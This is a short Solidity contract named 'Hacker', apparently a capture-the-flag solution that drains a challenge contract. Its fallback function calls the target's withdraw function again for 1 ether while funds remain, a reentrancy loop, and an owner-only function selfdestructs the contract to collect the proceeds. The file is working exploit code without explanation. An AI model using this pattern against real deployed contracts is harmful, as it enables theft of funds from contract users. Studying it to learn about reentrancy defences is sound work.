pragma solidity ^0.8.0;

contract Hacker {
    address public owner;
    address public challengeAddress;

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor (address _challengeAddress) {
        owner = msg.sender;
        challengeAddress = _challengeAddress;
    }

    function pwn() public {
        (bool success, ) = challengeAddress.call(
            abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
        );

        if (!success) revert();
    }

    function withdraw() external onlyOwner {
        selfdestruct(payable(owner));
    }

    fallback() external payable {
        if (challengeAddress.balance >= 1 ether) pwn();
    }
}